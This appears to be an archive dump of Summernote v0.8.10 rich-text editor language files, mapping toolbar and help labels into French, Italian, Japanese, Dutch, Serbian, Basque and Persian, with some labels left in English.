!function(e){e.extend(e.summernote.lang,{"fr-FR":{font:{bold:"Gras",italic:"Italique",underline:"Souligné",clear:"Effacer la mise en forme",height:"Interligne",name:"Famille de police",strikethrough:"Barré",superscript:"Exposant",subscript:"Indice",size:"Taille de police"},image:{image:"Image",insert:"Insérer une image",resizeFull:"Taille originale",resizeHalf:"Redimensionner à 50 %",resizeQuarter:"Redimensionner à 25 %",floatLeft:"Aligné à gauche",floatRight:"Aligné à droite",floatNone:"Pas d'alignement",shapeRounded:"Forme: Rectangle arrondie",shapeCircle:"Forme: Cercle",shapeThumbnail:"Forme: Vignette",shapeNone:"Forme: Aucune",dragImageHere:"Faites glisser une image ou un texte dans ce cadre",dropImage:"Lachez l'image ou le texte",selectFromFiles:"Choisir un fichier",maximumFileSize:"Taille de fichier maximale",maximumFileSizeError:"Taille maximale du fichier dépassée",url:"URL de l'image",remove:"Supprimer l'image",original:"Original"},video:{video:"Vidéo",videoLink:"Lien vidéo",insert:"Insérer une vidéo",url:"URL de la vidéo",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)"},link:{link:"Lien",insert:"Insérer un lien",unlink:"Supprimer un lien",edit:"Modifier",textToDisplay:"Texte à afficher",url:"URL du lien",openInNewWindow:"Ouvrir dans une nouvelle fenêtre"},table:{table:"Tableau",addRowAbove:"Ajouter une ligne au-dessus",addRowBelow:"Ajouter une ligne en dessous",addColLeft:"Ajouter une colonne à gauche",addColRight:"Ajouter une colonne à droite",delRow:"Supprimer la ligne",delCol:"Supprimer la colonne",delTable:"Supprimer le tableau"},hr:{insert:"Insérer une ligne horizontale"},style:{style:"Style",p:"Normal",blockquote:"Citation",pre:"Code source",h1:"Titre 1",h2:"Titre 2",h3:"Titre 3",h4:"Titre 4",h5:"Titre 5",h6:"Titre 6"},lists:{unordered:"Liste à puces",ordered:"Liste numérotée"},options:{help:"Aide",fullscreen:"Plein écran",codeview:"Afficher le code HTML"},paragraph:{paragraph:"Paragraphe",outdent:"Diminuer le retrait",indent:"Augmenter le retrait",left:"Aligner à gauche",center:"Centrer",right:"Aligner à droite",justify:"Justifier"},color:{recent:"Dernière couleur sélectionnée",more:"Plus de couleurs",background:"Couleur de fond",foreground:"Couleur de police",transparent:"Transparent",setTransparent:"Définir la transparence",reset:"Restaurer",resetToDefault:"Restaurer la couleur par défaut"},shortcut:{shortcuts:"Raccourcis",close:"Fermer",textFormatting:"Mise en forme du texte",action:"Action",paragraphFormatting:"Mise en forme des paragraphes",documentStyle:"Style du document",extraKeys:"Touches supplémentaires"},help:{insertParagraph:"Insérer paragraphe",undo:"Défaire la dernière commande",redo:"Refaire la dernière commande",tab:"Tabulation",untab:"Tabulation arrière",bold:"Mettre en caractère gras",italic:"Mettre en italique",underline:"Mettre en souligné",strikethrough:"Mettre en texte barré",removeFormat:"Nettoyer les styles",justifyLeft:"Aligner à gauche",justifyCenter:"Centrer",justifyRight:"Aligner à droite",justifyFull:"Justifier à gauche et à droite",insertUnorderedList:"Basculer liste à puces",insertOrderedList:"Basculer liste ordonnée",outdent:"Diminuer le retrait du paragraphe",indent:"Augmenter le retrait du paragraphe",formatPara:"Changer le paragraphe en cours en normal (P)",formatH1:"Changer le paragraphe en cours en entête H1",formatH2:"Changer le paragraphe en cours en entête H2",formatH3:"Changer le paragraphe en cours en entête H3",formatH4:"Changer le paragraphe en cours en entête H4",formatH5:"Changer le paragraphe en cours en entête H5",formatH6:"Changer le paragraphe en cours en entête H6",insertHorizontalRule:"Insérer séparation horizontale","linkDialog.show":"Afficher fenêtre d'hyperlien"},history:{undo:"Annuler la dernière action",redo:"Restaurer la dernière action annulée"},specialChar:{specialChar:"CARACTÈRES SPÉCIAUX",select:"Choisir des caractères spéciaux"}}})}(jQuery);lang/summernote-it-IT.min.js000064400000007374151677331550011757 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"it-IT":{font:{bold:"Testo in grassetto",italic:"Testo in corsivo",underline:"Testo sottolineato",clear:"Elimina la formattazione del testo",height:"Altezza della linea di testo",name:"Famiglia Font",strikethrough:"Testo barrato",subscript:"Subscript",superscript:"Superscript",size:"Dimensione del carattere"},image:{image:"Immagine",insert:"Inserisci Immagine",resizeFull:"Dimensioni originali",resizeHalf:"Ridimensiona al 50%",resizeQuarter:"Ridimensiona al 25%",floatLeft:"Posiziona a sinistra",floatRight:"Posiziona a destra",floatNone:"Nessun posizionamento",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Trascina qui un'immagine",dropImage:"Drop image or Text",selectFromFiles:"Scegli dai Documenti",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL dell'immagine",remove:"Rimuovi immagine",original:"Original"},video:{video:"Video",videoLink:"Collegamento ad un Video",insert:"Inserisci Video",url:"URL del Video",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)"},link:{link:"Collegamento",insert:"Inserisci Collegamento",unlink:"Elimina collegamento",edit:"Modifica collegamento",textToDisplay:"Testo del collegamento",url:"URL del collegamento",openInNewWindow:"Apri in una nuova finestra"},table:{table:"Tabella",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Inserisce una linea di separazione"},style:{style:"Stili",p:"pe",blockquote:"Citazione",pre:"Codice",h1:"Titolo 1",h2:"Titolo 2",h3:"Titolo 3",h4:"Titolo 4",h5:"Titolo 5",h6:"Titolo 6"},lists:{unordered:"Elenco non ordinato",ordered:"Elenco ordinato"},options:{help:"Aiuto",fullscreen:"Modalità a tutto schermo",codeview:"Visualizza codice"},paragraph:{paragraph:"Paragrafo",outdent:"Diminuisce il livello di rientro",indent:"Aumenta il livello di rientro",left:"Allinea a sinistra",center:"Centra",right:"Allinea a destra",justify:"Giustifica (allinea a destra e sinistra)"},color:{recent:"Ultimo colore utilizzato",more:"Altri colori",background:"Colore di sfondo",foreground:"Colore",transparent:"Trasparente",setTransparent:"Trasparente",reset:"Reimposta",resetToDefault:"Reimposta i colori"},shortcut:{shortcuts:"Scorciatoie da tastiera",close:"Chiudi",textFormatting:"Formattazione testo",action:"Azioni",paragraphFormatting:"Formattazione paragrafo",documentStyle:"Stili",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Annulla",redo:"Ripristina"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-ja-JP.min.js000064400000006553151677331550011730 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ja-JP":{font:{bold:"太字",italic:"斜体",underline:"下線",clear:"クリア",height:"文字高",name:"フォント",strikethrough:"取り消し線",subscript:"Subscript",superscript:"Superscript",size:"大きさ"},image:{image:"画像",insert:"画像挿入",resizeFull:"最大化",resizeHalf:"1/2",resizeQuarter:"1/4",floatLeft:"左寄せ",floatRight:"右寄せ",floatNone:"寄せ解除",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"ここに画像をドラッグしてください",dropImage:"Drop image or Text",selectFromFiles:"画像ファイルを選ぶ",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URLから画像を挿入する",remove:"画像を削除する",original:"Original"},video:{video:"動画",videoLink:"動画リンク",insert:"動画挿入",url:"動画のURL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion, Youku)"},link:{link:"リンク",insert:"リンク挿入",unlink:"リンク解除",edit:"編集",textToDisplay:"リンク文字列",url:"URLを入力してください",openInNewWindow:"新しいウィンドウで開く"},table:{table:"テーブル",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"水平線の挿入"},style:{style:"スタイル",p:"標準",blockquote:"引用",pre:"コード",h1:"見出し1",h2:"見出し2",h3:"見出し3",h4:"見出し4",h5:"見出し5",h6:"見出し6"},lists:{unordered:"通常リスト",ordered:"番号リスト"},options:{help:"ヘルプ",fullscreen:"フルスクリーン",codeview:"コード表示"},paragraph:{paragraph:"文章",outdent:"字上げ",indent:"字下げ",left:"左寄せ",center:"中央寄せ",right:"右寄せ",justify:"均等割付"},color:{recent:"現在の色",more:"もっと見る",background:"背景色",foreground:"文字色",transparent:"透明",setTransparent:"透明にする",reset:"標準",resetToDefault:"標準に戻す"},shortcut:{shortcuts:"ショートカット",close:"閉じる",textFormatting:"文字フォーマット",action:"アクション",paragraphFormatting:"文章フォーマット",documentStyle:"ドキュメント形式",extraKeys:"Extra keys"},help:{insertParagraph:"改行挿入",undo:"一旦、行った操作を戻す",redo:"最後のコマンドをやり直す",tab:"Tab",untab:"タブ戻し",bold:"太文字",italic:"斜体",underline:"下線",strikethrough:"取り消し線",removeFormat:"装飾を戻す",justifyLeft:"左寄せ",justifyCenter:"真ん中寄せ",justifyRight:"右寄せ",justifyFull:"すべてを整列",insertUnorderedList:"行頭に●を挿入",insertOrderedList:"行頭に番号を挿入",outdent:"字下げを戻す(アウトデント)",indent:"字下げする(インデント)",formatPara:"段落(P tag)指定",formatH1:"H1指定",formatH2:"H2指定",formatH3:"H3指定",formatH4:"H4指定",formatH5:"H5指定",formatH6:"H6指定",insertHorizontalRule:"&lt;hr /&gt;を挿入","linkDialog.show":"リンク挿入"},history:{undo:"元に戻す",redo:"やり直す"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-nl-NL.min.js000064400000007030151677331550011736 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"nl-NL":{font:{bold:"Vet",italic:"Cursief",underline:"Onderstrepen",clear:"Stijl verwijderen",height:"Regelhoogte",name:"Lettertype",strikethrough:"Doorhalen",subscript:"Subscript",superscript:"Superscript",size:"Tekstgrootte"},image:{image:"Afbeelding",insert:"Afbeelding invoegen",resizeFull:"Volledige breedte",resizeHalf:"Halve breedte",resizeQuarter:"Kwart breedte",floatLeft:"Links uitlijnen",floatRight:"Rechts uitlijnen",floatNone:"Geen uitlijning",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Sleep hier een afbeelding naar toe",dropImage:"Drop image or Text",selectFromFiles:"Selecteer een bestand",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL van de afbeelding",remove:"Verwijder afbeelding",original:"Original"},video:{video:"Video",videoLink:"Video link",insert:"Video invoegen",url:"URL van de video",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion of Youku)"},link:{link:"Link",insert:"Link invoegen",unlink:"Link verwijderen",edit:"Wijzigen",textToDisplay:"Tekst van link",url:"Naar welke URL moet deze link verwijzen?",openInNewWindow:"Open in nieuw venster"},table:{table:"Tabel",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Horizontale lijn invoegen"},style:{style:"Stijl",p:"Normaal",blockquote:"Quote",pre:"Code",h1:"Kop 1",h2:"Kop 2",h3:"Kop 3",h4:"Kop 4",h5:"Kop 5",h6:"Kop 6"},lists:{unordered:"Ongeordende lijst",ordered:"Geordende lijst"},options:{help:"Help",fullscreen:"Volledig scherm",codeview:"Bekijk Code"},paragraph:{paragraph:"Paragraaf",outdent:"Inspringen verkleinen",indent:"Inspringen vergroten",left:"Links uitlijnen",center:"Centreren",right:"Rechts uitlijnen",justify:"Uitvullen"},color:{recent:"Recente kleur",more:"Meer kleuren",background:"Achtergrond kleur",foreground:"Tekst kleur",transparent:"Transparant",setTransparent:"Transparant",reset:"Standaard",resetToDefault:"Standaard kleur"},shortcut:{shortcuts:"Toetsencombinaties",close:"sluiten",textFormatting:"Tekststijlen",action:"Acties",paragraphFormatting:"Paragraafstijlen",documentStyle:"Documentstijlen",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Ongedaan maken",redo:"Opnieuw doorvoeren"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-sr-RS.min.js000064400000010272151677331550011766 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"sr-RS":{font:{bold:"Подебљано",italic:"Курзив",underline:"Подвучено",clear:"Уклони стилове фонта",height:"Висина линије",name:"Font Family",strikethrough:"Прецртано",subscript:"Subscript",superscript:"Superscript",size:"Величина фонта"},image:{image:"Слика",insert:"Уметни слику",resizeFull:"Пуна величина",resizeHalf:"Умањи на 50%",resizeQuarter:"Умањи на 25%",floatLeft:"Уз леву ивицу",floatRight:"Уз десну ивицу",floatNone:"Без равнања",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Превуци слику овде",dropImage:"Drop image or Text",selectFromFiles:"Изабери из датотеке",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Адреса слике",remove:"Уклони слику",original:"Original"},video:{video:"Видео",videoLink:"Веза ка видеу",insert:"Уметни видео",url:"URL видео",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)"},link:{link:"Веза",insert:"Уметни везу",unlink:"Уклони везу",edit:"Уреди",textToDisplay:"Текст за приказ",url:"Интернет адреса",openInNewWindow:"Отвори у новом прозору"},table:{table:"Табела",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Уметни хоризонталну линију"},style:{style:"Стил",p:"Нормални",blockquote:"Цитат",pre:"Код",h1:"Заглавље 1",h2:"Заглавље 2",h3:"Заглавље 3",h4:"Заглавље 4",h5:"Заглавље 5",h6:"Заглавље 6"},lists:{unordered:"Обична листа",ordered:"Нумерисана листа"},options:{help:"Помоћ",fullscreen:"Преко целог екрана",codeview:"Изворни код"},paragraph:{paragraph:"Параграф",outdent:"Смањи увлачење",indent:"Повечај увлачење",left:"Поравнај у лево",center:"Центрирано",right:"Поравнај у десно",justify:"Поравнај обострано"},color:{recent:"Последња боја",more:"Више боја",background:"Боја позадине",foreground:"Боја текста",transparent:"Провидна",setTransparent:"Провидна",reset:"Опозив",resetToDefault:"Подразумевана"},shortcut:{shortcuts:"Пречице са тастатуре",close:"Затвори",textFormatting:"Форматирање текста",action:"Акција",paragraphFormatting:"Форматирање параграфа",documentStyle:"Стил документа",extraKeys:"Додатне комбинације"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Поништи",redo:"Понови"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-es-EU.min.js000064400000007111151677331550011734 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"es-EU":{font:{bold:"Lodia",italic:"Etzana",underline:"Azpimarratua",clear:"Estiloa kendu",height:"Lerro altuera",name:"Tipografia",strikethrough:"Marratua",subscript:"Subscript",superscript:"Superscript",size:"Letren neurria"},image:{image:"Irudia",insert:"Irudi bat txertatu",resizeFull:"Jatorrizko neurrira aldatu",resizeHalf:"Neurria erdira aldatu",resizeQuarter:"Neurria laurdenera aldatu",floatLeft:"Ezkerrean kokatu",floatRight:"Eskuinean kokatu",floatNone:"Kokapenik ez ezarri",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Irudi bat ezarri hemen",dropImage:"Drop image or Text",selectFromFiles:"Zure fitxategi bat aukeratu",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Irudiaren URL helbidea",remove:"Remove Image",original:"Original"},video:{video:"Bideoa",videoLink:"Bideorako esteka",insert:"Bideo berri bat txertatu",url:"Bideoaren URL helbidea",providers:"(YouTube, Vimeo, Vine, Instagram edo DailyMotion)"},link:{link:"Esteka",insert:"Esteka bat txertatu",unlink:"Esteka ezabatu",edit:"Editatu",textToDisplay:"Estekaren testua",url:"Estekaren URL helbidea",openInNewWindow:"Leiho berri batean ireki"},table:{table:"Taula",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Marra horizontala txertatu"},style:{style:"Estiloa",p:"p",blockquote:"Aipamena",pre:"Kodea",h1:"1. izenburua",h2:"2. izenburua",h3:"3. izenburua",h4:"4. izenburua",h5:"5. izenburua",h6:"6. izenburua"},lists:{unordered:"Ordenatu gabeko zerrenda",ordered:"Zerrenda ordenatua"},options:{help:"Laguntza",fullscreen:"Pantaila osoa",codeview:"Kodea ikusi"},paragraph:{paragraph:"Paragrafoa",outdent:"Koska txikiagoa",indent:"Koska handiagoa",left:"Ezkerrean kokatu",center:"Erdian kokatu",right:"Eskuinean kokatu",justify:"Justifikatu"},color:{recent:"Azken kolorea",more:"Kolore gehiago",background:"Atzeko planoa",foreground:"Aurreko planoa",transparent:"Gardena",setTransparent:"Gardendu",reset:"Lehengoratu",resetToDefault:"Berrezarri lehenetsia"},shortcut:{shortcuts:"Lasterbideak",close:"Itxi",textFormatting:"Testuaren formatua",action:"Ekintza",paragraphFormatting:"Paragrafoaren formatua",documentStyle:"Dokumentuaren estiloa"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Desegin",redo:"Berregin"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-nl-NL.js000064400000012064151677331550011157 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'nl-NL': {
      font: {
        bold: 'Vet',
        italic: 'Cursief',
        underline: 'Onderstrepen',
        clear: 'Stijl verwijderen',
        height: 'Regelhoogte',
        name: 'Lettertype',
        strikethrough: 'Doorhalen',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Tekstgrootte'
      },
      image: {
        image: 'Afbeelding',
        insert: 'Afbeelding invoegen',
        resizeFull: 'Volledige breedte',
        resizeHalf: 'Halve breedte',
        resizeQuarter: 'Kwart breedte',
        floatLeft: 'Links uitlijnen',
        floatRight: 'Rechts uitlijnen',
        floatNone: 'Geen uitlijning',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Sleep hier een afbeelding naar toe',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Selecteer een bestand',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL van de afbeelding',
        remove: 'Verwijder afbeelding',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video link',
        insert: 'Video invoegen',
        url: 'URL van de video',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion of Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Link invoegen',
        unlink: 'Link verwijderen',
        edit: 'Wijzigen',
        textToDisplay: 'Tekst van link',
        url: 'Naar welke URL moet deze link verwijzen?',
        openInNewWindow: 'Open in nieuw venster'
      },
      table: {
        table: 'Tabel',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Horizontale lijn invoegen'
      },
      style: {
        style: 'Stijl',
        p: 'Normaal',
        blockquote: 'Quote',
        pre: 'Code',
        h1: 'Kop 1',
        h2: 'Kop 2',
        h3: 'Kop 3',
        h4: 'Kop 4',
        h5: 'Kop 5',
        h6: 'Kop 6'
      },
      lists: {
        unordered: 'Ongeordende lijst',
        ordered: 'Geordende lijst'
      },
      options: {
        help: 'Help',
        fullscreen: 'Volledig scherm',
        codeview: 'Bekijk Code'
      },
      paragraph: {
        paragraph: 'Paragraaf',
        outdent: 'Inspringen verkleinen',
        indent: 'Inspringen vergroten',
        left: 'Links uitlijnen',
        center: 'Centreren',
        right: 'Rechts uitlijnen',
        justify: 'Uitvullen'
      },
      color: {
        recent: 'Recente kleur',
        more: 'Meer kleuren',
        background: 'Achtergrond kleur',
        foreground: 'Tekst kleur',
        transparent: 'Transparant',
        setTransparent: 'Transparant',
        reset: 'Standaard',
        resetToDefault: 'Standaard kleur'
      },
      shortcut: {
        shortcuts: 'Toetsencombinaties',
        close: 'sluiten',
        textFormatting: 'Tekststijlen',
        action: 'Acties',
        paragraphFormatting: 'Paragraafstijlen',
        documentStyle: 'Documentstijlen',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Ongedaan maken',
        redo: 'Opnieuw doorvoeren'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-fa-IR.min.js000064400000010057151677331550011717 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"fa-IR":{font:{bold:"درشت",italic:"خمیده",underline:"میان خط",clear:"پاک کردن فرمت فونت",height:"فاصله ی خطی",name:"اسم فونت",strikethrough:"Strike",subscript:"Subscript",superscript:"Superscript",size:"اندازه ی فونت"},image:{image:"تصویر",insert:"وارد کردن تصویر",resizeFull:"تغییر به اندازه ی کامل",resizeHalf:"تغییر به اندازه نصف",resizeQuarter:"تغییر به اندازه یک چهارم",floatLeft:"چسباندن به چپ",floatRight:"چسباندن به راست",floatNone:"بدون چسبندگی",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"یک تصویر را اینجا بکشید",dropImage:"Drop image or Text",selectFromFiles:"فایل ها را انتخاب کنید",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"آدرس تصویر",remove:"حذف تصویر",original:"Original"},video:{video:"ویدیو",videoLink:"لینک ویدیو",insert:"افزودن ویدیو",url:"آدرس ویدیو ؟",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion یا Youku)"},link:{link:"لینک",insert:"اضافه کردن لینک",unlink:"حذف لینک",edit:"ویرایش",textToDisplay:"متن جهت نمایش",url:"این لینک به چه آدرسی باید برود ؟",openInNewWindow:"در یک پنجره ی جدید باز شود"},table:{table:"جدول",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"افزودن خط افقی"},style:{style:"استیل",p:"نرمال",blockquote:"نقل قول",pre:"کد",h1:"سرتیتر 1",h2:"سرتیتر 2",h3:"سرتیتر 3",h4:"سرتیتر 4",h5:"سرتیتر 5",h6:"سرتیتر 6"},lists:{unordered:"لیست غیر ترتیبی",ordered:"لیست ترتیبی"},options:{help:"راهنما",fullscreen:"نمایش تمام صفحه",codeview:"مشاهده ی کد"},paragraph:{paragraph:"پاراگراف",outdent:"کاهش تو رفتگی",indent:"افزایش تو رفتگی",left:"چپ چین",center:"میان چین",right:"راست چین",justify:"بلوک چین"},color:{recent:"رنگ اخیرا استفاده شده",more:"رنگ بیشتر",background:"رنگ پس زمینه",foreground:"رنگ متن",transparent:"بی رنگ",setTransparent:"تنظیم حالت بی رنگ",reset:"بازنشاندن",resetToDefault:"حالت پیش فرض"},shortcut:{shortcuts:"دکمه های میان بر",close:"بستن",textFormatting:"فرمت متن",action:"عملیات",paragraphFormatting:"فرمت پاراگراف",documentStyle:"استیل سند",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"واچیدن",redo:"بازچیدن"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-nb-NO.min.js000064400000006710151677331550011733 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

